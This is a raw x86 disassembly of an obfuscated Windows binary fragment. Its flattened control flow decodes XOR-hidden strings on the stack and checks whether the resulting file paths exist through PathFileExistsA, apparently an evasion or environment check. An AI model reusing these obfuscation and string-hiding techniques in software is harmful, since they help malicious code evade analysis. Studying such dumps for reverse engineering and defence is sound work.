cmp eax, 0xce0af14
jne 0x10016e1c
mov eax, dword [ebp - 0x114]
mov byte [ebp - 0x2a5], 0
mov byte [ebp - 0x2a4], 0
mov eax, dword [ebp - 0x524]
mov byte [eax], 0
mov eax, 0x372c7a66
jmp 0x10016e1c
cmp eax, 0x1b242a82
je 0x10016efa
cmp eax, 0x372c7a66
je 0x10017815
cmp eax, 0x4a97e41d
jne 0x10016e1c
lea eax, [ebp - 0x520]
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x520], 0
mov eax, 0x1b242a82
jmp 0x10016e1c
mov eax, dword [ebp - 0x520]
mov cl, byte [ebp + eax - 0x2c2]
mov eax, dword [ebp - 0x520]
mov dl, byte [ebp - 0x2c3]
inc al
xor al, dl
xor al, cl
xor al, 0x1d
mov ecx, dword [ebp - 0x520]
mov byte [ebp + ecx - 0x2c2], al
inc dword [ebp - 0x520]
mov eax, 0x1b242a82
jmp 0x10016e1c
test byte [ebp - 0x528], 1
mov eax, 0x4a97e41d
mov ecx, 0x372c7a66
cmove eax, ecx
jmp 0x10016e1c
mov eax, dword [ebp - 0x520]
cmp eax, 0x1d
mov eax, 0xce0af14
mov ecx, 0xf0589c19
cmovb eax, ecx
jmp 0x10016e1c
lea eax, [ebp - 0x198]
mov dword [ebp - 0x524], eax
mov eax, dword [ebp - 0x524]
mov al, byte [eax]
mov byte [ebp - 0x528], al
mov eax, 0x923dd411
cmp eax, 0xf9e41db5
jg 0x10016fa4
cmp eax, 0x923dd411
je 0x10016fd8
cmp eax, 0xf19b1ce9
je 0x10017833
cmp eax, 0xf7b3623a
jne 0x10016f34
mov eax, dword [ebp - 0x520]
mov cl, byte [ebp + eax - 0x196]
mov edx, dword [ebp - 0x520]
mov al, byte [ebp - 0x197]
movzx ebx, al
lea esi, [edx + 1]
mov eax, 0xfe
sub eax, edx
and eax, ebx
not ebx
and ebx, esi
or eax, ebx
xor al, cl
xor al, 0x28
mov ecx, dword [ebp - 0x520]
mov byte [ebp + ecx - 0x196], al
inc dword [ebp - 0x520]
mov eax, 0x5b89a4bc
jmp 0x10016f34
cmp eax, 0xf9e41db6
je 0x10016ff1
cmp eax, 0x59083059
je 0x10017017
cmp eax, 0x5b89a4bc
jne 0x10016f34
mov eax, dword [ebp - 0x520]
cmp eax, 0x28
mov eax, 0x59083059
mov ecx, 0xf7b3623a
cmovb eax, ecx
jmp 0x10016f34
test byte [ebp - 0x528], 1
mov eax, 0xf9e41db6
mov ecx, 0xf19b1ce9
cmove eax, ecx
jmp 0x10016f34
lea eax, [ebp - 0x520]
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x520], 0
mov eax, 0x5b89a4bc
jmp 0x10016f34
mov eax, dword [ebp - 0x114]
mov byte [ebp - 0x16e], 0
mov byte [ebp - 0x16d], 0
mov eax, dword [ebp - 0x524]
mov byte [eax], 0
mov eax, 0xf19b1ce9
jmp 0x10016f34
lea eax, [ebp - 0x276]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
mov eax, 0x9027da67
mov ecx, 0xbe7dca1a
jmp 0x10019450
lea eax, [ebp - 0x2ec]
mov dword [ebp - 0x524], eax
mov eax, dword [ebp - 0x524]
mov al, byte [eax]
mov byte [ebp - 0x528], al
mov eax, 0x1cf22ee0
cmp eax, 0x1a4b1e5
jg 0x100170d6
cmp eax, 0x9386615c
je 0x10017851
cmp eax, 0xb18f6f32
je 0x10017104
cmp eax, 0xd2e3a779
jne 0x1001707b
mov eax, dword [ebp - 0x520]
mov cl, byte [ebp + eax - 0x2ea]
mov eax, dword [ebp - 0x520]
mov dl, byte [ebp - 0x2eb]
inc al
xor al, dl
xor al, cl
xor al, 0x23
mov ecx, dword [ebp - 0x520]
mov byte [ebp + ecx - 0x2ea], al
inc dword [ebp - 0x520]
mov eax, 0x7a07e19e
jmp 0x1001707b
cmp eax, 0x1a4b1e6
je 0x1001712b
cmp eax, 0x7a07e19e
je 0x10017151
cmp eax, 0x1cf22ee0
jne 0x1001707b
test byte [ebp - 0x528], 1
mov eax, 0x1a4b1e6
mov ecx, 0x9386615c
cmove eax, ecx
jmp 0x1001707b
mov eax, dword [ebp - 0x114]
mov byte [ebp - 0x2c7], 0
mov byte [ebp - 0x2c6], 0
mov eax, dword [ebp - 0x524]
mov byte [eax], 0
mov eax, 0x9386615c
jmp 0x1001707b
lea eax, [ebp - 0x520]
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x520], 0
mov eax, 0x7a07e19e
jmp 0x1001707b
mov eax, dword [ebp - 0x520]
cmp eax, 0x23
mov eax, 0xb18f6f32
mov ecx, 0xd2e3a779
cmovb eax, ecx
jmp 0x1001707b
lea eax, [ebp - 0x24a]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
mov eax, 0x9027da67
mov ecx, 0xe70cd12b
jmp 0x10019450
mov byte [ebp - 0x4e4], 1
mov byte [ebp - 0x4e3], 0xc
mov byte [ebp - 0x4e2], 0x4f
mov byte [ebp - 0x4e1], 0x66
mov al, 0x6d
mov byte [ebp - 0x4e0], al
mov byte [ebp - 0x4df], al
mov byte [ebp - 0x4de], 0x7d
mov byte [ebp - 0x4dd], 0x76
mov byte [ebp - 0x4dc], 0x4a
mov byte [ebp - 0x4db], 0x67
mov byte [ebp - 0x4da], 0x7b
mov al, 0x73
mov byte [ebp - 0x4d9], al
mov byte [ebp - 0x4d8], 0x63
mov byte [ebp - 0x4d7], 0x72
mov byte [ebp - 0x4d6], 0x64
mov byte [ebp - 0x4d5], 0x5d
mov byte [ebp - 0x4d4], al
mov byte [ebp - 0x4d3], 0x60
mov byte [ebp - 0x4d2], 0x69
lea eax, [ebp - 0x4cf]
mov dword [ebp - 0x114], eax
mov ecx, 0x7a85cdb8
lea eax, [ebp - 0x4d1]
cmp ecx, 0xe4eac7d3
je 0x1001786f
cmp ecx, 0x7a85cdb8
jne 0x10017226
mov byte [eax], 0
inc eax
cmp eax, dword [ebp - 0x114]
mov ecx, 0x7a85cdb8
mov edx, 0xe4eac7d3
cmove ecx, edx
jmp 0x10017226
lea eax, [ebp - 0x378]
mov dword [ebp - 0x524], eax
mov eax, dword [ebp - 0x524]
mov al, byte [eax]
mov byte [ebp - 0x528], al
mov eax, 0x51b4dd3f
cmp eax, 0xa6716ab
jg 0x100172b6
cmp eax, 0xcc6bc023
je 0x10017991
cmp eax, 0xf50670eb
je 0x100172e1
cmp eax, 0xfa9b606f
jne 0x10017272
mov eax, dword [ebp - 0x114]
mov byte [ebp - 0x370], 0
mov byte [ebp - 0x36f], 0
mov eax, dword [ebp - 0x524]
mov byte [eax], 0
mov eax, 0xcc6bc023
jmp 0x10017272
cmp eax, 0xa6716ac
je 0x10017307
cmp eax, 0x70eee31f
je 0x10017322
cmp eax, 0x51b4dd3f
jne 0x10017272
test byte [ebp - 0x528], 1
mov eax, 0xf50670eb
mov ecx, 0xcc6bc023
cmove eax, ecx
jmp 0x10017272
lea eax, [ebp - 0x520]
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x520], 0
mov eax, 0xa6716ac
jmp 0x10017272
mov eax, dword [ebp - 0x520]
cmp eax, 6
mov eax, 0xfa9b606f
mov ecx, 0x70eee31f
cmovb eax, ecx
jmp 0x10017272
mov eax, dword [ebp - 0x520]
mov cl, byte [ebp + eax - 0x376]
mov eax, dword [ebp - 0x520]
mov dl, byte [ebp - 0x377]
mov esi, 0x3e
sub esi, eax
and esi, 0x38
inc eax
and eax, 0xc7
or eax, esi
xor al, dl
xor al, cl
xor al, 0x3e
mov ecx, dword [ebp - 0x520]
mov byte [ebp + ecx - 0x376], al
inc dword [ebp - 0x520]
mov eax, 0xa6716ac
jmp 0x10017272
lea eax, [ebp - 0x1ee]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
mov eax, 0x9027da67
mov ecx, 0x68c4f9ea
jmp 0x10019450
lea eax, [ebp - 0x16c]
mov dword [ebp - 0x524], eax
mov eax, dword [ebp - 0x524]
mov al, byte [eax]
mov byte [ebp - 0x528], al
mov eax, 0xe66770a
cmp eax, 0xe667709
jg 0x100173ce
cmp eax, 0x8f011b8e
je 0x100173fd
cmp eax, 0xe0c67b39
je 0x10017420
cmp eax, 0xe88ebfdd
jne 0x100173ad
jmp 0x10017a5a
cmp eax, 0x5e333a4f
je 0x10017447
cmp eax, 0xefbb2ac
je 0x10017462
cmp eax, 0xe66770a
jne 0x100173ad
test byte [ebp - 0x528], 1
mov eax, 0x8f011b8e
mov ecx, 0xe88ebfdd
cmove eax, ecx
jmp 0x100173ad
lea eax, [ebp - 0x520]
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x520], 0
mov eax, 0x5e333a4f
jmp 0x100173ad
mov eax, dword [ebp - 0x114]
mov byte [ebp - 0x143], 0
mov byte [ebp - 0x142], 0
mov eax, dword [ebp - 0x524]
mov byte [eax], 0
mov eax, 0xe88ebfdd
jmp 0x100173ad
mov eax, dword [ebp - 0x520]
cmp eax, 0x27
mov eax, 0xe0c67b39
mov ecx, 0xefbb2ac
cmovb eax, ecx
jmp 0x100173ad
mov eax, dword [ebp - 0x520]
mov cl, byte [ebp + eax - 0x16a]
mov eax, dword [ebp - 0x520]
mov dl, byte [ebp - 0x16b]
inc al
xor al, dl
xor al, cl
xor al, 0x27
mov ecx, dword [ebp - 0x520]
mov byte [ebp + ecx - 0x16a], al
inc dword [ebp - 0x520]
mov eax, 0x5e333a4f
jmp 0x100173ad
lea eax, [ebp - 0x29e]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
mov eax, 0x9027da67
mov ecx, 0xc8b2990e
jmp 0x10019450
mov byte [ebp - 0x488], 1
mov byte [ebp - 0x487], 0xc
mov byte [ebp - 0x486], 0x4c
mov byte [ebp - 0x485], 0x65
mov al, 0x6e
mov byte [ebp - 0x484], al
mov byte [ebp - 0x483], al
mov cl, 0x7e
mov byte [ebp - 0x482], cl
mov byte [ebp - 0x481], 0x75
mov byte [ebp - 0x480], 0x54
mov byte [ebp - 0x47f], 0x77
mov byte [ebp - 0x47e], 0x79
mov byte [ebp - 0x47d], 0x61
mov al, 0x73
mov byte [ebp - 0x47c], al
mov byte [ebp - 0x47b], al
mov byte [ebp - 0x47a], 0x70
mov al, 0x64
mov byte [ebp - 0x479], al
mov byte [ebp - 0x478], al
mov byte [ebp - 0x477], 0x7c
mov byte [ebp - 0x476], 0x6a
mov byte [ebp - 0x475], cl
lea eax, [ebp - 0x472]
mov dword [ebp - 0x114], eax
mov ecx, 0x5f5d043
lea eax, [ebp - 0x474]
cmp ecx, 0xfd9be005
je 0x10017a78
cmp ecx, 0x5f5d043
jne 0x10017561
mov byte [eax], 0
inc eax
cmp eax, dword [ebp - 0x114]
mov ecx, 0x5f5d043
mov edx, 0xfd9be005
cmove ecx, edx
jmp 0x10017561
mov byte [ebp - 0x348], 1
mov byte [ebp - 0x347], 0xc
mov byte [ebp - 0x346], 0x4c
mov byte [ebp - 0x345], 0x65
mov al, 0x6e
mov byte [ebp - 0x344], al
mov byte [ebp - 0x343], al
mov cl, 0x7e
mov byte [ebp - 0x342], cl
mov byte [ebp - 0x341], 0x75
mov byte [ebp - 0x340], 0x54
mov byte [ebp - 0x33f], 0x77
mov byte [ebp - 0x33e], 0x79
mov byte [ebp - 0x33d], 0x61
mov al, 0x73
mov byte [ebp - 0x33c], al
mov byte [ebp - 0x33b], al
mov byte [ebp - 0x33a], 0x70
mov al, 0x64
mov byte [ebp - 0x339], al
mov byte [ebp - 0x338], al
mov byte [ebp - 0x337], 0x7c
mov byte [ebp - 0x336], 0x6a
mov byte [ebp - 0x335], cl
lea eax, [ebp - 0x332]
mov dword [ebp - 0x114], eax
mov ecx, 0x5f5d043
lea eax, [ebp - 0x334]
cmp ecx, 0xfd9be005
je 0x10017b9a
cmp ecx, 0x5f5d043
jne 0x10017631
mov byte [eax], 0
inc eax
cmp eax, dword [ebp - 0x114]
mov ecx, 0x5f5d043
mov edx, 0xfd9be005
cmove ecx, edx
jmp 0x10017631
lea eax, [ebp - 0x1c2]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
mov eax, 0x9027da67
mov ecx, 0x596c4d8a
jmp 0x10019450
mov byte [ebp - 0x3d8], 1
mov byte [ebp - 0x3d7], 0xc
mov byte [ebp - 0x3d6], 0x4c
mov byte [ebp - 0x3d5], 0x65
mov al, 0x6e
mov byte [ebp - 0x3d4], al
mov byte [ebp - 0x3d3], al
mov cl, 0x7e
mov byte [ebp - 0x3d2], cl
mov byte [ebp - 0x3d1], 0x75
mov byte [ebp - 0x3d0], 0x54
mov byte [ebp - 0x3cf], 0x77
mov byte [ebp - 0x3ce], 0x79
mov byte [ebp - 0x3cd], 0x61
mov al, 0x73
mov byte [ebp - 0x3cc], al
mov byte [ebp - 0x3cb], al
mov byte [ebp - 0x3ca], 0x70
mov al, 0x64
mov byte [ebp - 0x3c9], al
mov byte [ebp - 0x3c8], al
mov byte [ebp - 0x3c7], 0x7c
mov byte [ebp - 0x3c6], 0x6a
mov byte [ebp - 0x3c5], cl
lea eax, [ebp - 0x3c2]
mov dword [ebp - 0x114], eax
mov ecx, 0x5f5d043
lea eax, [ebp - 0x3c4]
cmp ecx, 0xfd9be005
je 0x10017cbc
cmp ecx, 0x5f5d043
jne 0x1001771f
mov byte [eax], 0
inc eax
cmp eax, dword [ebp - 0x114]
mov ecx, 0x5f5d043
mov edx, 0xfd9be005
cmove ecx, edx
jmp 0x1001771f
mov byte [ebp - 0x430], 1
mov byte [ebp - 0x42f], 0xc
mov byte [ebp - 0x42e], 0x4f
mov byte [ebp - 0x42d], 0x66
mov al, 0x6d
mov byte [ebp - 0x42c], al
mov byte [ebp - 0x42b], al
mov byte [ebp - 0x42a], 0x7d
mov byte [ebp - 0x429], 0x76
mov byte [ebp - 0x428], 0x4a
mov byte [ebp - 0x427], 0x67
mov byte [ebp - 0x426], 0x7b
mov al, 0x73
mov byte [ebp - 0x425], al
mov byte [ebp - 0x424], 0x63
mov byte [ebp - 0x423], 0x72
mov byte [ebp - 0x422], 0x64
mov byte [ebp - 0x421], 0x5d
mov byte [ebp - 0x420], al
mov byte [ebp - 0x41f], 0x60
mov byte [ebp - 0x41e], 0x69
lea eax, [ebp - 0x41b]
mov dword [ebp - 0x114], eax
mov ecx, 0x7a85cdb8
lea eax, [ebp - 0x41d]
cmp ecx, 0xe4eac7d3
je 0x10017dde
cmp ecx, 0x7a85cdb8
jne 0x100177e8
mov byte [eax], 0
inc eax
cmp eax, dword [ebp - 0x114]
mov ecx, 0x7a85cdb8
mov edx, 0xe4eac7d3
cmove ecx, edx
jmp 0x100177e8
lea eax, [ebp - 0x2c2]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
mov eax, 0x9027da67
mov ecx, 0x486bd46
jmp 0x10019450
lea eax, [ebp - 0x196]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
mov eax, 0x9027da67
mov ecx, 0x96276717
jmp 0x10019450
lea eax, [ebp - 0x2ea]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
mov eax, 0x9027da67
mov ecx, 0x3f26ca2e
jmp 0x10019450
lea eax, [ebp - 0x4e4]
mov dword [ebp - 0x524], eax
mov eax, dword [ebp - 0x524]
mov al, byte [eax]
mov byte [ebp - 0x528], al
mov eax, 0x3ad2a1fd
cmp eax, 0x3ad2a1fc
jg 0x100178c2
cmp eax, 0x8b058ca3
je 0x100178f5
cmp eax, 0xe0a3cb43
je 0x1001791b
cmp eax, 0xe890f583
jne 0x1001788e
mov eax, dword [ebp - 0x520]
cmp eax, 0x11
mov eax, 0x4b0479bd
mov ecx, 0xe0a3cb43
cmovb eax, ecx
jmp 0x1001788e
cmp eax, 0x602b720b
je 0x10017f00
cmp eax, 0x4b0479bd
je 0x1001796a
cmp eax, 0x3ad2a1fd
jne 0x1001788e
test byte [ebp - 0x528], 1
mov eax, 0x8b058ca3
mov ecx, 0x602b720b
cmove eax, ecx
jmp 0x1001788e
lea eax, [ebp - 0x520]
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x520], 0
mov eax, 0xe890f583
jmp 0x1001788e
mov eax, dword [ebp - 0x520]
mov cl, byte [ebp + eax - 0x4e2]
mov edx, dword [ebp - 0x520]
mov al, byte [ebp - 0x4e3]
movzx esi, al
lea ebx, [edx + 1]
mov eax, 0xfe
sub eax, edx
and eax, esi
not esi
and esi, ebx
or eax, esi
xor al, cl
xor al, 0x11
mov ecx, dword [ebp - 0x520]
mov byte [ebp + ecx - 0x4e2], al
inc dword [ebp - 0x520]
mov eax, 0xe890f583
jmp 0x1001788e
mov eax, dword [ebp - 0x114]
mov byte [ebp - 0x4d1], 0
mov byte [ebp - 0x4d0], 0
mov eax, dword [ebp - 0x524]
mov byte [eax], 0
mov eax, 0x602b720b
jmp 0x1001788e
mov byte [ebp - 0x390], 1
mov byte [ebp - 0x38f], 0xc
mov byte [ebp - 0x38e], 0x4f
mov byte [ebp - 0x38d], 0x66
mov al, 0x6d
mov byte [ebp - 0x38c], al
mov byte [ebp - 0x38b], al
mov byte [ebp - 0x38a], 0x7d
mov byte [ebp - 0x389], 0x76
mov byte [ebp - 0x388], 0x4a
mov byte [ebp - 0x387], 0x67
mov byte [ebp - 0x386], 0x7b
mov al, 0x73
mov byte [ebp - 0x385], al
mov byte [ebp - 0x384], 0x63
mov byte [ebp - 0x383], 0x72
mov byte [ebp - 0x382], 0x64
mov byte [ebp - 0x381], 0x5d
mov byte [ebp - 0x380], al
mov byte [ebp - 0x37f], 0x60
mov byte [ebp - 0x37e], 0x69
lea eax, [ebp - 0x37b]
mov dword [ebp - 0x114], eax
mov ecx, 0x7a85cdb8
lea eax, [ebp - 0x37d]
cmp ecx, 0xe4eac7d3
je 0x100180ae
cmp ecx, 0x7a85cdb8
jne 0x10017a2d
mov byte [eax], 0
inc eax
cmp eax, dword [ebp - 0x114]
mov ecx, 0x7a85cdb8
mov edx, 0xe4eac7d3
cmove ecx, edx
jmp 0x10017a2d
lea eax, [ebp - 0x16a]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
mov eax, 0x9027da67
mov ecx, 0xdbaeb3ef
jmp 0x10019450
lea eax, [ebp - 0x488]
mov dword [ebp - 0x524], eax
mov eax, dword [ebp - 0x524]
mov al, byte [eax]
mov byte [ebp - 0x528], al
mov eax, 0x74c00ded
cmp eax, 0x9e7b59c
jg 0x10017acf
cmp eax, 0xb99f30d3
je 0x100181d0
cmp eax, 0xbe13e102
je 0x10017afe
cmp eax, 0xed945b16
jne 0x10017a97
mov eax, dword [ebp - 0x520]
cmp eax, 0x12
mov eax, 0xbe13e102
mov ecx, 0x9e7b59d
cmovb eax, ecx
jmp 0x10017a97
cmp eax, 0x9e7b59d
je 0x10017b25
cmp eax, 0x4f51e50f
je 0x10017b74
cmp eax, 0x74c00ded
jne 0x10017a97
test byte [ebp - 0x528], 1
mov eax, 0x4f51e50f
mov ecx, 0xb99f30d3
cmove eax, ecx
jmp 0x10017a97
mov eax, dword [ebp - 0x114]
mov byte [ebp - 0x474], 0
mov byte [ebp - 0x473], 0
mov eax, dword [ebp - 0x524]
mov byte [eax], 0
mov eax, 0xb99f30d3
jmp 0x10017a97
mov eax, dword [ebp - 0x520]
mov cl, byte [ebp + eax - 0x486]
mov edx, dword [ebp - 0x520]
mov al, byte [ebp - 0x487]
movzx esi, al
lea ebx, [edx + 1]
mov eax, 0xfe
sub eax, edx
and eax, esi
not esi
and esi, ebx
or eax, esi
xor al, cl
xor al, 0x12
mov ecx, dword [ebp - 0x520]
mov byte [ebp + ecx - 0x486], al
inc dword [ebp - 0x520]
mov eax, 0xed945b16
jmp 0x10017a97
lea eax, [ebp - 0x520]
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x520], 0
mov eax, 0xed945b16
jmp 0x10017a97
lea eax, [ebp - 0x348]
mov dword [ebp - 0x524], eax
mov eax, dword [ebp - 0x524]
mov al, byte [eax]
mov byte [ebp - 0x528], al
mov eax, 0x74c00ded
cmp eax, 0x9e7b59c
jg 0x10017bf1
cmp eax, 0xb99f30d3
je 0x1001837e
cmp eax, 0xbe13e102
je 0x10017c20
cmp eax, 0xed945b16
jne 0x10017bb9
mov eax, dword [ebp - 0x520]
cmp eax, 0x12
mov eax, 0xbe13e102
mov ecx, 0x9e7b59d
cmovb eax, ecx
jmp 0x10017bb9
cmp eax, 0x9e7b59d
je 0x10017c47
cmp eax, 0x4f51e50f
je 0x10017c96
cmp eax, 0x74c00ded
jne 0x10017bb9
test byte [ebp - 0x528], 1
mov eax, 0x4f51e50f
mov ecx, 0xb99f30d3
cmove eax, ecx
jmp 0x10017bb9
mov eax, dword [ebp - 0x114]
mov byte [ebp - 0x334], 0
mov byte [ebp - 0x333], 0
mov eax, dword [ebp - 0x524]
mov byte [eax], 0
mov eax, 0xb99f30d3
jmp 0x10017bb9
mov eax, dword [ebp - 0x520]
mov cl, byte [ebp + eax - 0x346]
mov edx, dword [ebp - 0x520]
mov al, byte [ebp - 0x347]
movzx esi, al
lea ebx, [edx + 1]
mov eax, 0xfe
sub eax, edx
and eax, esi
not esi
and esi, ebx
or eax, esi
xor al, cl
xor al, 0x12
mov ecx, dword [ebp - 0x520]
mov byte [ebp + ecx - 0x346], al
inc dword [ebp - 0x520]
mov eax, 0xed945b16
jmp 0x10017bb9
lea eax, [ebp - 0x520]
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x520], 0
mov eax, 0xed945b16
jmp 0x10017bb9
lea eax, [ebp - 0x3d8]
mov dword [ebp - 0x524], eax
mov eax, dword [ebp - 0x524]
mov al, byte [eax]
mov byte [ebp - 0x528], al
mov eax, 0x74c00ded
cmp eax, 0x9e7b59c
jg 0x10017d13
cmp eax, 0xb99f30d3
je 0x100184ae
cmp eax, 0xbe13e102
je 0x10017d42
cmp eax, 0xed945b16
jne 0x10017cdb
mov eax, dword [ebp - 0x520]
cmp eax, 0x12
mov eax, 0xbe13e102
mov ecx, 0x9e7b59d
cmovb eax, ecx
jmp 0x10017cdb
cmp eax, 0x9e7b59d
je 0x10017d69
cmp eax, 0x4f51e50f
je 0x10017db8
cmp eax, 0x74c00ded
jne 0x10017cdb
test byte [ebp - 0x528], 1
mov eax, 0x4f51e50f
mov ecx, 0xb99f30d3
cmove eax, ecx
jmp 0x10017cdb
mov eax, dword [ebp - 0x114]
mov byte [ebp - 0x3c4], 0
mov byte [ebp - 0x3c3], 0
mov eax, dword [ebp - 0x524]
mov byte [eax], 0
mov eax, 0xb99f30d3
jmp 0x10017cdb
mov eax, dword [ebp - 0x520]
mov cl, byte [ebp + eax - 0x3d6]
mov edx, dword [ebp - 0x520]
mov al, byte [ebp - 0x3d7]
movzx esi, al
lea ebx, [edx + 1]
mov eax, 0xfe
sub eax, edx
and eax, esi
not esi
and esi, ebx
or eax, esi
xor al, cl
xor al, 0x12
mov ecx, dword [ebp - 0x520]
mov byte [ebp + ecx - 0x3d6], al
inc dword [ebp - 0x520]
mov eax, 0xed945b16
jmp 0x10017cdb
lea eax, [ebp - 0x520]
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x520], 0
mov eax, 0xed945b16
jmp 0x10017cdb
lea eax, [ebp - 0x430]
mov dword [ebp - 0x524], eax
mov eax, dword [ebp - 0x524]
mov al, byte [eax]
mov byte [ebp - 0x528], al
mov eax, 0x3ad2a1fd
cmp eax, 0x3ad2a1fc
jg 0x10017e31
cmp eax, 0x8b058ca3
je 0x10017e64
cmp eax, 0xe0a3cb43
je 0x10017e8a
cmp eax, 0xe890f583
jne 0x10017dfd
mov eax, dword [ebp - 0x520]
cmp eax, 0x11
mov eax, 0x4b0479bd
mov ecx, 0xe0a3cb43
cmovb eax, ecx
jmp 0x10017dfd
cmp eax, 0x602b720b
je 0x1001863f
cmp eax, 0x4b0479bd
je 0x10017ed9
cmp eax, 0x3ad2a1fd
jne 0x10017dfd
test byte [ebp - 0x528], 1
mov eax, 0x8b058ca3
mov ecx, 0x602b720b
cmove eax, ecx
jmp 0x10017dfd
lea eax, [ebp - 0x520]
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x520], 0
mov eax, 0xe890f583
jmp 0x10017dfd
mov eax, dword [ebp - 0x520]
mov cl, byte [ebp + eax - 0x42e]
mov edx, dword [ebp - 0x520]
mov al, byte [ebp - 0x42f]
movzx esi, al
lea ebx, [edx + 1]
mov eax, 0xfe
sub eax, edx
and eax, esi
not esi
and esi, ebx
or eax, esi
xor al, cl
xor al, 0x11
mov ecx, dword [ebp - 0x520]
mov byte [ebp + ecx - 0x42e], al
inc dword [ebp - 0x520]
mov eax, 0xe890f583
jmp 0x10017dfd
mov eax, dword [ebp - 0x114]
mov byte [ebp - 0x41d], 0
mov byte [ebp - 0x41c], 0
mov eax, dword [ebp - 0x524]
mov byte [eax], 0
mov eax, 0x602b720b
jmp 0x10017dfd
mov byte [ebp - 0x51c], 1
mov byte [ebp - 0x51b], 0xc
mov byte [ebp - 0x51a], 0x6c
mov al, 0x65
mov byte [ebp - 0x519], al
mov cl, 0x6e
mov byte [ebp - 0x518], cl
mov byte [ebp - 0x517], cl
mov cl, 0x7e
mov byte [ebp - 0x516], cl
mov dl, 0x75
mov byte [ebp - 0x515], dl
mov byte [ebp - 0x514], al
mov byte [ebp - 0x513], dl
mov byte [ebp - 0x512], 0x42
mov byte [ebp - 0x511], 0x46
mov dl, 0x47
mov byte [ebp - 0x510], dl
mov ah, 0x57
mov byte [ebp - 0x50f], ah
mov byte [ebp - 0x50e], 0x5d
mov byte [ebp - 0x50d], 0x44
mov ch, 0x72
mov byte [ebp - 0x50c], ch
mov dh, 0x41
mov byte [ebp - 0x50b], dh
mov byte [ebp - 0x50a], dh
mov byte [ebp - 0x509], 0x58
mov dh, 0x5f
mov byte [ebp - 0x508], dh
mov byte [ebp - 0x507], 0x45
mov byte [ebp - 0x506], dl
mov dl, 0x7b
mov byte [ebp - 0x505], dl
mov bl, 0x4c
mov byte [ebp - 0x504], bl
mov bh, 0x52
mov byte [ebp - 0x503], bh
mov byte [ebp - 0x502], dl
mov dl, 0x67
mov byte [ebp - 0x501], dl
mov byte [ebp - 0x500], 0x4a
mov byte [ebp - 0x4ff], bl
mov byte [ebp - 0x4fe], ah
mov byte [ebp - 0x4fd], bh
mov byte [ebp - 0x4fc], 0x4e
mov byte [ebp - 0x4fb], ch
mov byte [ebp - 0x4fa], 0x43
mov byte [ebp - 0x4f9], 0x4f
mov byte [ebp - 0x4f8], 0x64
mov byte [ebp - 0x4f7], 0x69
mov byte [ebp - 0x4f6], 0x6f
mov byte [ebp - 0x4f5], 0x7d
mov byte [ebp - 0x4f4], 0x74
mov byte [ebp - 0x4f3], dh
mov byte [ebp - 0x4f2], 0x79
mov byte [ebp - 0x4f1], ch
mov byte [ebp - 0x4f0], 0x7a
mov ah, 0x60
mov byte [ebp - 0x4ef], ah
mov byte [ebp - 0x4ee], cl
mov byte [ebp - 0x4ed], 0x71
mov byte [ebp - 0x4ec], al
mov byte [ebp - 0x4eb], dl
mov byte [ebp - 0x4ea], ah
mov byte [ebp - 0x4e9], 0x62
lea eax, [ebp - 0x4e6]
mov dword [ebp - 0x114], eax
mov ecx, 0xd37ca195
lea eax, [ebp - 0x4e8]
cmp ecx, 0xca57dbda
je 0x100187d0
cmp ecx, 0xd37ca195
jne 0x10018081
mov byte [eax], 0
inc eax
cmp eax, dword [ebp - 0x114]
mov ecx, 0xd37ca195
mov edx, 0xca57dbda
cmove ecx, edx
jmp 0x10018081
lea eax, [ebp - 0x390]
mov dword [ebp - 0x524], eax
mov eax, dword [ebp - 0x524]
mov al, byte [eax]
mov byte [ebp - 0x528], al
mov eax, 0x3ad2a1fd
cmp eax, 0x3ad2a1fc
jg 0x10018101
cmp eax, 0x8b058ca3
je 0x10018134
cmp eax, 0xe0a3cb43
je 0x1001815a
cmp eax, 0xe890f583
jne 0x100180cd
mov eax, dword [ebp - 0x520]
cmp eax, 0x11
mov eax, 0x4b0479bd
mov ecx, 0xe0a3cb43
cmovb eax, ecx
jmp 0x100180cd
cmp eax, 0x602b720b
je 0x100188dd
cmp eax, 0x4b0479bd
je 0x100181a9
cmp eax, 0x3ad2a1fd
jne 0x100180cd
test byte [ebp - 0x528], 1
mov eax, 0x8b058ca3
mov ecx, 0x602b720b
cmove eax, ecx
jmp 0x100180cd
lea eax, [ebp - 0x520]
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x520], 0
mov eax, 0xe890f583
jmp 0x100180cd
mov eax, dword [ebp - 0x520]
mov cl, byte [ebp + eax - 0x38e]
mov edx, dword [ebp - 0x520]
mov al, byte [ebp - 0x38f]
movzx esi, al
lea ebx, [edx + 1]
mov eax, 0xfe
sub eax, edx
and eax, esi
not esi
and esi, ebx
or eax, esi
xor al, cl
xor al, 0x11
mov ecx, dword [ebp - 0x520]
mov byte [ebp + ecx - 0x38e], al
inc dword [ebp - 0x520]
mov eax, 0xe890f583
jmp 0x100180cd
mov eax, dword [ebp - 0x114]
mov byte [ebp - 0x37d], 0
mov byte [ebp - 0x37c], 0
mov eax, dword [ebp - 0x524]
mov byte [eax], 0
mov eax, 0x602b720b
jmp 0x100180cd
